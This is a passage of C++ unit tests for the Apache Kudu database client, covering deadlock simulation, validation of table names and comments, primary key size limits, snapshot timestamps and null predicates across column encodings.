ASSERT_EQ(R"((int32 key=1, int32 int_val=2, string string_val="", )" "int32 non_null_with_default=12345)", rows[0]); rows.clear(); } // Tests that master permits are properly released after a whole bunch of // rows are inserted. TEST_F(ClientTest, TestMasterLookupPermits) { int initial_value = client_->data_->meta_cache_->master_lookup_sem_.GetValue(); NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); ASSERT_EQ(initial_value, client_->data_->meta_cache_->master_lookup_sem_.GetValue()); } // Define callback for deadlock simulation, as well as various helper methods. namespace { class DLSCallback : public KuduStatusCallback { public: explicit DLSCallback(Atomic32* i) : i_(i) { } virtual void Run(const Status& s) OVERRIDE { CHECK_OK(s); NoBarrier_AtomicIncrement(i_, 1); delete this; } private: Atomic32* const i_; }; // Returns col1 value of first row. int32_t ReadFirstRowKeyFirstCol(const shared_ptr<KuduTable>& tbl) { KuduScanner scanner(tbl.get()); scanner.Open(); KuduScanBatch batch; CHECK(scanner.HasMoreRows()); CHECK_OK(scanner.NextBatch(&batch)); KuduRowResult row = batch.Row(0); int32_t val; CHECK_OK(row.GetInt32(1, &val)); return val; } // Checks that all rows have value equal to expected, return number of rows. int CheckRowsEqual(const shared_ptr<KuduTable>& tbl, int32_t expected) { KuduScanner scanner(tbl.get()); scanner.Open(); KuduScanBatch batch; int cnt = 0; while (scanner.HasMoreRows()) { CHECK_OK(scanner.NextBatch(&batch)); for (const KuduScanBatch::RowPtr& row : batch) { // Check that for every key: // 1. Column 1 int32_t value == expected // 2. Column 2 string value is empty // 3. Column 3 int32_t value is default, 12345 int32_t key; int32_t val; Slice strval; int32_t val2; CHECK_OK(row.GetInt32(0, &key)); CHECK_OK(row.GetInt32(1, &val)); CHECK_OK(row.GetString(2, &strval)); CHECK_OK(row.GetInt32(3, &val2)); CHECK_EQ(expected, val) << "Incorrect int value for key " << key; CHECK_EQ(strval.size(), 0) << "Incorrect string value for key " << key; CHECK_EQ(12345, val2); ++cnt; } } return cnt; } // Return a session "loaded" with updates. Sets the session timeout // to the parameter value. Larger timeouts decrease false positives. shared_ptr<KuduSession> LoadedSession(const shared_ptr<KuduClient>& client, const shared_ptr<KuduTable>& tbl, bool fwd, int max, int timeout) { shared_ptr<KuduSession> session = client->NewSession(); session->SetTimeoutMillis(timeout); CHECK_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); for (int i = 0; i < max; ++i) { int key = fwd ? i : max - i; CHECK_OK(ApplyUpdateToSession(session.get(), tbl, key, fwd)); } return session; } } // anonymous namespace // Starts many clients which update a table in parallel. // Half of the clients update rows in ascending order while the other // half update rows in descending order. // This ensures that we don't hit a deadlock in such a situation. TEST_F(ClientTest, TestDeadlockSimulation) { if (!AllowSlowTests()) { LOG(WARNING) << "TestDeadlockSimulation disabled since slow."; return; } // Make reverse client who will make batches that update rows // in reverse order. Separate client used so rpc calls come in at same time. shared_ptr<KuduClient> rev_client; ASSERT_OK(KuduClientBuilder() .add_master_server_addr(cluster_->mini_master()->bound_rpc_addr().ToString()) .Build(&rev_client)); shared_ptr<KuduTable> rev_table; ASSERT_OK(client_->OpenTable(kTableName, &rev_table)); // Load up some rows const int kNumRows = 300; const int kTimeoutMillis = 60000; shared_ptr<KuduSession> session = client_->NewSession(); session->SetTimeoutMillis(kTimeoutMillis); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); for (int i = 0; i < kNumRows; ++i) ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, i, i, "")); FlushSessionOrDie(session); // Check both clients see rows int fwd = CountRowsFromClient(client_table_.get()); ASSERT_EQ(kNumRows, fwd); int rev = CountRowsFromClient(rev_table.get()); ASSERT_EQ(kNumRows, rev); // Generate sessions const int kNumSessions = 100; shared_ptr<KuduSession> fwd_sessions[kNumSessions]; shared_ptr<KuduSession> rev_sessions[kNumSessions]; for (int i = 0; i < kNumSessions; ++i) { fwd_sessions[i] = LoadedSession(client_, client_table_, true, kNumRows, kTimeoutMillis); rev_sessions[i] = LoadedSession(rev_client, rev_table, true, kNumRows, kTimeoutMillis); } // Run async calls - one thread updates sequentially, another in reverse. Atomic32 ctr1, ctr2; NoBarrier_Store(&ctr1, 0); NoBarrier_Store(&ctr2, 0); for (int i = 0; i < kNumSessions; ++i) { // The callbacks are freed after they are invoked. fwd_sessions[i]->FlushAsync(new DLSCallback(&ctr1)); rev_sessions[i]->FlushAsync(new DLSCallback(&ctr2)); } // Spin while waiting for ops to complete. int lctr1, lctr2, prev1 = 0, prev2 = 0; do { lctr1 = NoBarrier_Load(&ctr1); lctr2 = NoBarrier_Load(&ctr2); // Display progress in 10% increments. if (prev1 == 0 || lctr1 + lctr2 - prev1 - prev2 > kNumSessions / 10) { LOG(INFO) << "# updates: " << lctr1 << " fwd, " << lctr2 << " rev"; prev1 = lctr1; prev2 = lctr2; } SleepFor(MonoDelta::FromMilliseconds(100)); } while (lctr1 != kNumSessions|| lctr2 != kNumSessions); int32_t expected = ReadFirstRowKeyFirstCol(client_table_); // Check transaction from forward client. fwd = CheckRowsEqual(client_table_, expected); ASSERT_EQ(fwd, kNumRows); // Check from reverse client side. rev = CheckRowsEqual(rev_table, expected); ASSERT_EQ(rev, kNumRows); } TEST_F(ClientTest, TestCreateDuplicateTable) { unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); ASSERT_TRUE(table_creator->table_name(kTableName) .set_range_partition_columns({ "key" }) .schema(&schema_) .num_replicas(1) .Create().IsAlreadyPresent()); } TEST_F(ClientTest, TestCreateTableWithTooManyTablets) { FLAGS_max_create_tablets_per_ts = 1; // Add two more tservers so that we can create a table with replication factor // of 3 below. ASSERT_OK(cluster_->AddTabletServer()); ASSERT_OK(cluster_->AddTabletServer()); ASSERT_OK(cluster_->WaitForTabletServerCount(3)); KuduPartialRow* split1 = schema_.NewRow(); ASSERT_OK(split1->SetInt32("key", 1)); KuduPartialRow* split2 = schema_.NewRow(); ASSERT_OK(split2->SetInt32("key", 2)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" Status s = table_creator->table_name("foobar") .schema(&schema_) .set_range_partition_columns({ "key" }) .split_rows({ split1, split2 }) .num_replicas(3) .Create(); #pragma GCC diagnostic pop ASSERT_TRUE(s.IsInvalidArgument()); ASSERT_STR_CONTAINS(s.ToString(), "the requested number of tablet replicas is over the " "maximum permitted at creation time (3)"); } // Tests for too many replicas, too few replicas, even replica count, etc. TEST_F(ClientTest, TestCreateTableWithBadNumReplicas) { const vector<pair<int, string>> cases = { {3, "not enough live tablet servers to create a table with the requested " "replication factor 3; 1 tablet servers are alive"}, {2, "illegal replication factor 2 (replication factor must be odd)"}, {-1, "illegal replication factor -1 (replication factor must be positive)"}, {11, "illegal replication factor 11 (max replication factor is 7)"} }; for (const auto& c : cases) { SCOPED_TRACE(Substitute("num_replicas=$0", c.first)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); Status s = table_creator->table_name("foobar") .schema(&schema_) .set_range_partition_columns({ "key" }) .num_replicas(c.first) .Create(); EXPECT_TRUE(s.IsInvalidArgument()); ASSERT_STR_CONTAINS(s.ToString(), c.second); } } TEST_F(ClientTest, TestCreateTableWithInvalidEncodings) { unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); KuduSchema schema; KuduSchemaBuilder schema_builder; schema_builder.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey() ->Encoding(KuduColumnStorageAttributes::DICT_ENCODING); ASSERT_OK(schema_builder.Build(&schema)); Status s = table_creator->table_name("foobar") .schema(&schema) .set_range_partition_columns({ "key" }) .Create(); ASSERT_TRUE(s.IsNotSupported()) << s.ToString(); ASSERT_STR_CONTAINS(s.ToString(), "invalid encoding for column 'key': encoding " "DICT_ENCODING not supported for type INT32"); } TEST_F(ClientTest, TestCreateTableWithTooManyColumns) { unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); KuduSchema schema; KuduSchemaBuilder schema_builder; schema_builder.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); for (int i = 0; i < 1000; i++) { schema_builder.AddColumn(Substitute("c$0", i)) ->Type(KuduColumnSchema::INT32)->NotNull(); } ASSERT_OK(schema_builder.Build(&schema)); Status s = table_creator->table_name("foobar") .schema(&schema) .set_range_partition_columns({ "key" }) .Create(); ASSERT_TRUE(s.IsInvalidArgument()) << s.ToString(); ASSERT_STR_CONTAINS(s.ToString(), "number of columns 1001 is greater than the " "permitted maximum 300"); } TEST_F(ClientTest, TestCreateTable_TableNames) { const vector<pair<string, string>> kCases = { {string(1000, 'x'), "longer than maximum permitted length"}, {string("foo\0bar", 7), "invalid table name: identifier must not contain null bytes"}, // From http://stackoverflow.com/questions/1301402/example-invalid-utf8-string {string("foo\xf0\x28\x8c\xbc", 7), "invalid table name: invalid UTF8 sequence"}, // Should pass validation but fail due to lack of tablet servers running. {"你好", "not enough live tablet servers"} }; for (const auto& test_case : kCases) { const auto& bad_name = test_case.first; const auto& substr = test_case.second; SCOPED_TRACE(bad_name); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); KuduSchema schema; KuduSchemaBuilder schema_builder; schema_builder.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); ASSERT_OK(schema_builder.Build(&schema)); Status s = table_creator->table_name(bad_name) .schema(&schema) .set_range_partition_columns({ "key" }) .Create(); ASSERT_STR_CONTAINS(s.ToString(), substr); } } TEST_F(ClientTest, TestCreateTableWithTooLongColumnName) { const string kLongName(1000, 'x'); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); KuduSchema schema; KuduSchemaBuilder schema_builder; schema_builder.AddColumn(kLongName)->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); ASSERT_OK(schema_builder.Build(&schema)); Status s = table_creator->table_name("foobar") .schema(&schema) .set_range_partition_columns({ kLongName }) .Create(); ASSERT_TRUE(s.IsInvalidArgument()) << s.ToString(); ASSERT_STR_MATCHES(s.ToString(), "invalid column name: identifier 'xxx*' " "longer than maximum permitted length 256"); } TEST_F(ClientTest, TestCreateTableWithExtraConfigs) { string table_name = "extra_configs"; { map<string, string> extra_configs; extra_configs["kudu.table.history_max_age_sec"] = "7200"; unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); Status s = table_creator->table_name(table_name) .set_range_partition_columns({"key"}) .schema(&schema_) .num_replicas(1) .extra_configs(extra_configs) .Create(); ASSERT_TRUE(s.ok()); } { shared_ptr<KuduTable> table; ASSERT_OK(client_->OpenTable(table_name, &table)); map<string, string> extra_configs = table->extra_configs(); ASSERT_TRUE(ContainsKey(extra_configs, "kudu.table.history_max_age_sec")); ASSERT_EQ("7200", extra_configs["kudu.table.history_max_age_sec"]); } } // Test trying to insert a row with an encoded key that is too large. TEST_F(ClientTest, TestInsertTooLongEncodedPrimaryKey) { const string kLongValue(10000, 'x'); const char* kTableName = "too-long-pk"; // Create and open a table with a three-column composite PK. unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); KuduSchema schema; KuduSchemaBuilder schema_builder; schema_builder.AddColumn("k1")->Type(KuduColumnSchema::STRING)->NotNull(); schema_builder.AddColumn("k2")->Type(KuduColumnSchema::STRING)->NotNull(); schema_builder.AddColumn("k3")->Type(KuduColumnSchema::STRING)->NotNull(); schema_builder.SetPrimaryKey({"k1", "k2", "k3"}); ASSERT_OK(schema_builder.Build(&schema)); ASSERT_OK(table_creator->table_name(kTableName) .schema(&schema) .num_replicas(1) .set_range_partition_columns({ "k1" }) .Create()); shared_ptr<KuduTable> table; ASSERT_OK(client_->OpenTable(kTableName, &table)); // Create a session and insert a row with a too-large composite key. shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); unique_ptr<KuduInsert> insert(table->NewInsert()); for (int i = 0; i < 3; i++) { ASSERT_OK(insert->mutable_row()->SetStringCopy(i, kLongValue)); } ASSERT_OK(session->Apply(insert.release())); Status s = session->Flush(); ASSERT_FALSE(s.ok()) << s.ToString(); // Check the error. vector<KuduError*> errors; ElementDeleter drop(&errors); bool overflowed; session->GetPendingErrors(&errors, &overflowed); ASSERT_EQ(1, errors.size()); EXPECT_EQ("Invalid argument: encoded primary key too large " "(30004 bytes, maximum is 16384 bytes)", errors[0]->status().ToString()); } // Test trying to insert a row with an empty string PK. // Regression test for KUDU-1899. TEST_F(ClientTest, TestInsertEmptyPK) { const string kLongValue(10000, 'x'); const char* kTableName = "empty-pk"; // Create and open a table with a three-column composite PK. unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); KuduSchema schema; KuduSchemaBuilder schema_builder; schema_builder.AddColumn("k1")->Type(KuduColumnSchema::STRING)->NotNull(); schema_builder.AddColumn("v1")->Type(KuduColumnSchema::STRING)->NotNull(); schema_builder.SetPrimaryKey({"k1"}); ASSERT_OK(schema_builder.Build(&schema)); ASSERT_OK(table_creator->table_name(kTableName) .schema(&schema) .num_replicas(1) .set_range_partition_columns({ "k1" }) .Create()); shared_ptr<KuduTable> table; ASSERT_OK(client_->OpenTable(kTableName, &table)); // Find the tablet. scoped_refptr<TabletReplica> tablet_replica; ASSERT_TRUE(cluster_->mini_tablet_server(0)->server()->tablet_manager()->LookupTablet( GetFirstTabletId(table.get()), &tablet_replica)); // Utility function to get the current value of the row. const auto ReadRowAsString = [&]() { vector<string> rows; CHECK_OK(ScanTableToStrings(table.get(), &rows)); if (rows.empty()) { return string("<none>"); } CHECK_EQ(1, rows.size()); return rows[0]; }; shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); // Insert a row with empty primary key. { unique_ptr<KuduInsert> insert(table->NewInsert()); ASSERT_OK(insert->mutable_row()->SetString(0, "")); ASSERT_OK(insert->mutable_row()->SetString(1, "initial")); ASSERT_OK(session->Apply(insert.release())); ASSERT_OK(session->Flush()); } ASSERT_EQ("(string k1=\"\", string v1=\"initial\")", ReadRowAsString()); // Make sure that Flush works properly, and the data is still readable. ASSERT_OK(tablet_replica->tablet()->Flush()); ASSERT_EQ("(string k1=\"\", string v1=\"initial\")", ReadRowAsString()); // Perform an update. { unique_ptr<KuduUpdate> update(table->NewUpdate()); ASSERT_OK(update->mutable_row()->SetString(0, "")); ASSERT_OK(update->mutable_row()->SetString(1, "updated")); ASSERT_OK(session->Apply(update.release())); ASSERT_OK(session->Flush()); } ASSERT_EQ("(string k1=\"\", string v1=\"updated\")", ReadRowAsString()); ASSERT_OK(tablet_replica->tablet()->FlushAllDMSForTests()); ASSERT_EQ("(string k1=\"\", string v1=\"updated\")", ReadRowAsString()); ASSERT_OK(tablet_replica->tablet()->Compact(tablet::Tablet::FORCE_COMPACT_ALL)); ASSERT_EQ("(string k1=\"\", string v1=\"updated\")", ReadRowAsString()); // Perform a delete. { unique_ptr<KuduDelete> del(table->NewDelete()); ASSERT_OK(del->mutable_row()->SetString(0, "")); ASSERT_OK(session->Apply(del.release())); ASSERT_OK(session->Flush()); } ASSERT_EQ("<none>", ReadRowAsString()); ASSERT_OK(tablet_replica->tablet()->FlushAllDMSForTests()); ASSERT_EQ("<none>", ReadRowAsString()); ASSERT_OK(tablet_replica->tablet()->Compact(tablet::Tablet::FORCE_COMPACT_ALL)); ASSERT_EQ("<none>", ReadRowAsString()); } class LatestObservedTimestampParamTest : public ClientTest, public ::testing::WithParamInterface<KuduScanner::ReadMode> { }; // Check the behavior of the latest observed timestamp when performing // write and read operations. TEST_P(LatestObservedTimestampParamTest, Test) { const KuduScanner::ReadMode read_mode = GetParam(); // Check that a write updates the latest observed timestamp. const uint64_t ts0 = client_->GetLatestObservedTimestamp(); ASSERT_EQ(KuduClient::kNoTimestamp, ts0); NO_FATALS(InsertTestRows(client_table_.get(), 1, 0)); const uint64_t ts1 = client_->GetLatestObservedTimestamp(); ASSERT_NE(ts0, ts1); // Check that the latest observed timestamp moves forward when // a scan is performed by the same or another client, even if reading/scanning // at the fixed timestamp observed at the prior insert. uint64_t latest_ts = ts1; shared_ptr<KuduClient> client; ASSERT_OK(KuduClientBuilder() .add_master_server_addr(cluster_->mini_master()->bound_rpc_addr().ToString()) .Build(&client)); vector<shared_ptr<KuduClient>> clients{ client_, client }; for (auto& c : clients) { if (c != client_) { // Check that the new client has no latest observed timestamp. ASSERT_EQ(KuduClient::kNoTimestamp, c->GetLatestObservedTimestamp()); // The observed timestamp may not move forward when scan in // READ_YOUR_WRITES mode by another client. Since other client // does not have the same propagation timestamp bound and the // chosen snapshot timestamp is returned as the new propagation // timestamp. if (read_mode == KuduScanner::READ_YOUR_WRITES) break; } shared_ptr<KuduTable> table; ASSERT_OK(c->OpenTable(client_table_->name(), &table)); KuduScanner scanner(table.get()); ASSERT_OK(scanner.SetReadMode(read_mode)); if (read_mode == KuduScanner::READ_AT_SNAPSHOT) { ASSERT_OK(scanner.SetSnapshotRaw(ts1)); } ASSERT_OK(scanner.Open()); const uint64_t ts = c->GetLatestObservedTimestamp(); ASSERT_LT(latest_ts, ts); latest_ts = ts; } } INSTANTIATE_TEST_CASE_P(Params, LatestObservedTimestampParamTest, testing::ValuesIn(read_modes)); // Insert bunch of rows, delete a row, and then insert the row back. // Run scans several scan and check the results are consistent with the // specified timestamps: // * at the snapshot corresponding the timestamp when the row was deleted // * at the snapshot corresponding the timestamp when the row was inserted // back // * read the latest data with no specified timestamp (READ_LATEST) TEST_F(ClientTest, TestScanAtLatestObservedTimestamp) { const uint64_t pre_timestamp = cluster_->mini_tablet_server(0)->server()->clock()->Now().ToUint64(); static const size_t kRowsNum = 2; NO_FATALS(InsertTestRows(client_table_.get(), kRowsNum, 0)); const uint64_t ts_inserted_rows = client_->GetLatestObservedTimestamp(); // Delete one row (key == 0) NO_FATALS(DeleteTestRows(client_table_.get(), 0, 1)); const uint64_t ts_deleted_row = client_->GetLatestObservedTimestamp(); // Insert the deleted row back. NO_FATALS(InsertTestRows(client_table_.get(), 1, 0)); const uint64_t ts_all_rows = client_->GetLatestObservedTimestamp(); ASSERT_GT(ts_all_rows, ts_deleted_row); shared_ptr<KuduClient> client; ASSERT_OK(KuduClientBuilder() .add_master_server_addr(cluster_->mini_master()->bound_rpc_addr().ToString()) .Build(&client)); vector<shared_ptr<KuduClient>> clients{ client_, client }; for (auto& c : clients) { SCOPED_TRACE((c == client_) ? "the same client" : "another client"); shared_ptr<KuduTable> table; ASSERT_OK(c->OpenTable(client_table_->name(), &table)); // There should be no rows in the table prior to the initial insert. size_t row_count_before_inserted_rows; ASSERT_OK(CountRowsOnLeaders(table.get(), KuduScanner::READ_AT_SNAPSHOT, pre_timestamp, &row_count_before_inserted_rows)); EXPECT_EQ(0, row_count_before_inserted_rows); // There should be kRowsNum rows if scanning at the initial insert timestamp. size_t row_count_ts_inserted_rows; ASSERT_OK(CountRowsOnLeaders(table.get(), KuduScanner::READ_AT_SNAPSHOT, ts_inserted_rows, &row_count_ts_inserted_rows)); EXPECT_EQ(kRowsNum, row_count_ts_inserted_rows); // There should be one less row if scanning at the deleted row timestamp. size_t row_count_ts_deleted_row; ASSERT_OK(CountRowsOnLeaders(table.get(), KuduScanner::READ_AT_SNAPSHOT, ts_deleted_row, &row_count_ts_deleted_row)); EXPECT_EQ(kRowsNum - 1, row_count_ts_deleted_row); // There should be kNumRows rows if scanning at the 'after last insert' // timestamp. size_t row_count_ts_all_rows; ASSERT_OK(CountRowsOnLeaders(table.get(), KuduScanner::READ_AT_SNAPSHOT, ts_all_rows, &row_count_ts_all_rows)); EXPECT_EQ(kRowsNum, row_count_ts_all_rows); // There should be 2 rows if scanning in the 'read latest' mode. size_t row_count_read_latest; ASSERT_OK(CountRowsOnLeaders(table.get(), KuduScanner::READ_LATEST, 0, &row_count_read_latest)); EXPECT_EQ(kRowsNum, row_count_read_latest); } } // Peform a READ_AT_SNAPSHOT scan with no explicit snapshot timestamp specified // and verify that the timestamp received in the first tablet server's response // is set into the scan configuration and used for subsequent requests // sent to other tablet servers hosting the table's data. // Basically, this is a unit test for KUDU-1189. TEST_F(ClientTest, TestReadAtSnapshotNoTimestampSet) { // Number of tablets which host the tablet data. static const size_t kTabletsNum = 3; static const size_t kRowsPerTablet = 2; shared_ptr<KuduTable> table; { vector<unique_ptr<KuduPartialRow>> rows; for (size_t i = 1; i < kTabletsNum; ++i) { unique_ptr<KuduPartialRow> row(schema_.NewRow()); CHECK_OK(row->SetInt32(0, i * kRowsPerTablet)); rows.push_back(std::move(row)); } NO_FATALS(CreateTable("test_table", 1, std::move(rows), {}, &table)); // Insert some data into the table, so each tablet would get populated. shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); for (size_t i = 0; i < kTabletsNum * kRowsPerTablet; ++i) { unique_ptr<KuduInsert> insert(BuildTestInsert(table.get(), i)); ASSERT_OK(session->Apply(insert.release())); } FlushSessionOrDie(session); } // Now, run a scan in READ_AT_SNAPSHOT mode with no timestamp specified. // The scan should fetch all the inserted rows. Since it's a multi-tablet // scan, in the process there should be one NextBatch() per tablet. KuduScanner sc(table.get()); ASSERT_OK(sc.SetReadMode(KuduScanner::READ_AT_SNAPSHOT)); // The scan configuration object should not contain the snapshot timestamp: // since its a fresh scan object with no snashot timestamp set. ASSERT_FALSE(sc.data_->configuration().has_snapshot_timestamp()); ASSERT_OK(sc.Open()); // The reference timestamp. ASSERT_TRUE(sc.data_->configuration().has_snapshot_timestamp()); const uint64_t ts_ref = sc.data_->configuration().snapshot_timestamp(); ASSERT_TRUE(sc.data_->last_response_.has_snap_timestamp()); EXPECT_EQ(ts_ref, sc.data_->last_response_.snap_timestamp()); // On some of the KuduScanner::NextBatch() calls the client connects to the // next tablet server and fetches rows from there. It's necessary to check // that the initial timestamp received from the very first tablet server // stays as in the scan configuration, with no modification. size_t total_row_count = 0; while (sc.HasMoreRows()) { const uint64_t ts_pre = sc.data_->configuration().snapshot_timestamp(); EXPECT_EQ(ts_ref, ts_pre); KuduScanBatch batch; ASSERT_OK(sc.NextBatch(&batch)); const size_t row_count = batch.NumRows(); total_row_count += row_count; const uint64_t ts_post = sc.data_->configuration().snapshot_timestamp(); EXPECT_EQ(ts_ref, ts_post); } EXPECT_EQ(kTabletsNum * kRowsPerTablet, total_row_count); } TEST_F(ClientTest, TestCreateTableWithValidComment) { const string kTableName = "table_comment"; const string kLongComment(FLAGS_max_column_comment_length, 'x'); // Create a table with comment. { KuduSchema schema; KuduSchemaBuilder schema_builder; schema_builder.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); schema_builder.AddColumn("val")->Type(KuduColumnSchema::INT32)->Comment(kLongComment); ASSERT_OK(schema_builder.Build(&schema)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); ASSERT_OK(table_creator->table_name(kTableName) .schema(&schema).num_replicas(1).set_range_partition_columns({ "key" }).Create()); } // Open the table and verify the comment. { KuduSchema schema; ASSERT_OK(client_->GetTableSchema(kTableName, &schema)); ASSERT_EQ(schema.Column(1).name(), "val"); ASSERT_EQ(schema.Column(1).comment(), kLongComment); } } TEST_F(ClientTest, TestAlterTableWithValidComment) { const string kTableName = "table_comment"; const auto AlterAndVerify = [&] (int i) { { // The comment length should be less and equal than FLAGS_max_column_comment_length. string kLongComment(i * 16, 'x'); // Alter the table with comment. unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("val")->Comment(kLongComment); ASSERT_OK(table_alterer->Alter()); // Open the table and verify the comment. KuduSchema schema; ASSERT_OK(client_->GetTableSchema(kTableName, &schema)); ASSERT_EQ(schema.Column(1).name(), "val"); ASSERT_EQ(schema.Column(1).comment(), kLongComment); } { // Delete the comment. unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("val")->Comment(""); ASSERT_OK(table_alterer->Alter()); // Open the table and verify the comment. KuduSchema schema; ASSERT_OK(client_->GetTableSchema(kTableName, &schema)); ASSERT_EQ(schema.Column(1).name(), "val"); ASSERT_EQ(schema.Column(1).comment(), ""); } }; // Create a table. { KuduSchema schema; KuduSchemaBuilder schema_builder; schema_builder.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); schema_builder.AddColumn("val")->Type(KuduColumnSchema::INT32); ASSERT_OK(schema_builder.Build(&schema)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); ASSERT_OK(table_creator->table_name(kTableName) .schema(&schema).num_replicas(1).set_range_partition_columns({ "key" }).Create()); } for (int i = 0; i <= 16; ++i) { NO_FATALS(AlterAndVerify(i)); } } TEST_F(ClientTest, TestCreateAndAlterTableWithInvalidComment) { const string kTableName = "table_comment"; const vector<pair<string, string>> kCases = { {string(FLAGS_max_column_comment_length + 1, 'x'), "longer than maximum permitted length"}, {string("foo\0bar", 7), "invalid column comment: identifier must not contain null bytes"}, {string("foo\xf0\x28\x8c\xbc", 7), "invalid column comment: invalid UTF8 sequence"} }; // Create tables with invalid comment. for (const auto& test_case : kCases) { const auto& comment = test_case.first; const auto& substr = test_case.second; SCOPED_TRACE(comment); KuduSchema schema; KuduSchemaBuilder schema_builder; schema_builder.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); schema_builder.AddColumn("val")->Type(KuduColumnSchema::INT32)->Comment(comment); ASSERT_OK(schema_builder.Build(&schema)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); Status s = table_creator->table_name(kTableName) .schema(&schema).num_replicas(1).set_range_partition_columns({ "key" }).Create(); ASSERT_STR_CONTAINS(s.ToString(), substr); } // Create a table for later alterer. { KuduSchema schema; KuduSchemaBuilder schema_builder; schema_builder.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); schema_builder.AddColumn("val")->Type(KuduColumnSchema::INT32); ASSERT_OK(schema_builder.Build(&schema)); unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); ASSERT_OK(table_creator->table_name(kTableName) .schema(&schema).num_replicas(1).set_range_partition_columns({ "key" }).Create()); } // Alter tables with invalid comment. for (const auto& test_case : kCases) { const auto& comment = test_case.first; const auto& substr = test_case.second; SCOPED_TRACE(comment); // Alter the table. unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("val")->Comment(comment); Status s = table_alterer->Alter(); ASSERT_STR_CONTAINS(s.ToString(), substr); } } enum IntEncoding { kPlain, kBitShuffle, kRunLength }; class IntEncodingNullPredicatesTest : public ClientTest, public ::testing::WithParamInterface<IntEncoding> { }; TEST_P(IntEncodingNullPredicatesTest, TestIntEncodings) { // Create table with appropriate encoded, nullable column. KuduSchema schema; KuduSchemaBuilder b; b.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); auto int_col = b.AddColumn("int_val")->Type(KuduColumnSchema::INT32); IntEncoding enc = GetParam(); switch (enc) { case kPlain: int_col->Encoding(KuduColumnStorageAttributes::PLAIN_ENCODING); break; case kBitShuffle: int_col->Encoding(KuduColumnStorageAttributes::BIT_SHUFFLE); break; case kRunLength: int_col->Encoding(KuduColumnStorageAttributes::RLE); break; } ASSERT_OK(b.Build(&schema)); string table_name = "IntEncodingNullPredicatesTestTable"; unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); ASSERT_OK(table_creator->table_name(table_name) .schema(&schema) .num_replicas(1) .set_range_partition_columns({ "key" }) .Create()); shared_ptr<KuduTable> table; ASSERT_OK(client_->OpenTable(table_name, &table)); // Insert rows. shared_ptr<KuduSession> session = table->client()->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); session->SetTimeoutMillis(10000); const size_t kNumRows = AllowSlowTests() ? 10000 : 1000; for (int i = 0; i < kNumRows; i++) { KuduInsert* insert = table->NewInsert(); KuduPartialRow* row = insert->mutable_row(); ASSERT_OK(row->SetInt32("key", i)); if (i % 2 == 0) { ASSERT_OK(row->SetInt32("int_val", i)); } else { ASSERT_OK(row->SetNull("int_val")); } ASSERT_OK(session->Apply(insert)); if (i + 1 % 1000 == 0) { ASSERT_OK(session->Flush()); } } ASSERT_OK(session->Flush()); // Scan rows and check for correct counts. { // IS NULL KuduScanner scanner(table.get()); KuduPredicate *p = table->NewIsNullPredicate("int_val"); ASSERT_OK(scanner.AddConjunctPredicate(p)); ASSERT_OK(scanner.Open()); int count = 0; KuduScanBatch batch; while (scanner.HasMoreRows()) { CHECK_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } ASSERT_EQ(kNumRows / 2, count); } { // IS NOT NULL KuduScanner scanner(table.get()); KuduPredicate *p = table->NewIsNotNullPredicate("int_val"); ASSERT_OK(scanner.AddConjunctPredicate(p)); ASSERT_OK(scanner.Open()); int count = 0; KuduScanBatch batch; while (scanner.HasMoreRows()) { CHECK_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } ASSERT_EQ(kNumRows / 2, count); } } INSTANTIATE_TEST_CASE_P(IntColEncodings, IntEncodingNullPredicatesTest, ::testing::Values(kPlain, kBitShuffle, kRunLength)); enum BinaryEncoding { kPlainBin, kPrefix, kDictionary }; class BinaryEncodingNullPredicatesTest : public ClientTest, public ::testing::WithParamInterface<BinaryEncoding> { }; TEST_P(BinaryEncodingNullPredicatesTest, TestBinaryEncodings) { // Create table with appropriate encoded, nullable column. KuduSchema schema; KuduSchemaBuilder b; b.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); auto string_col = 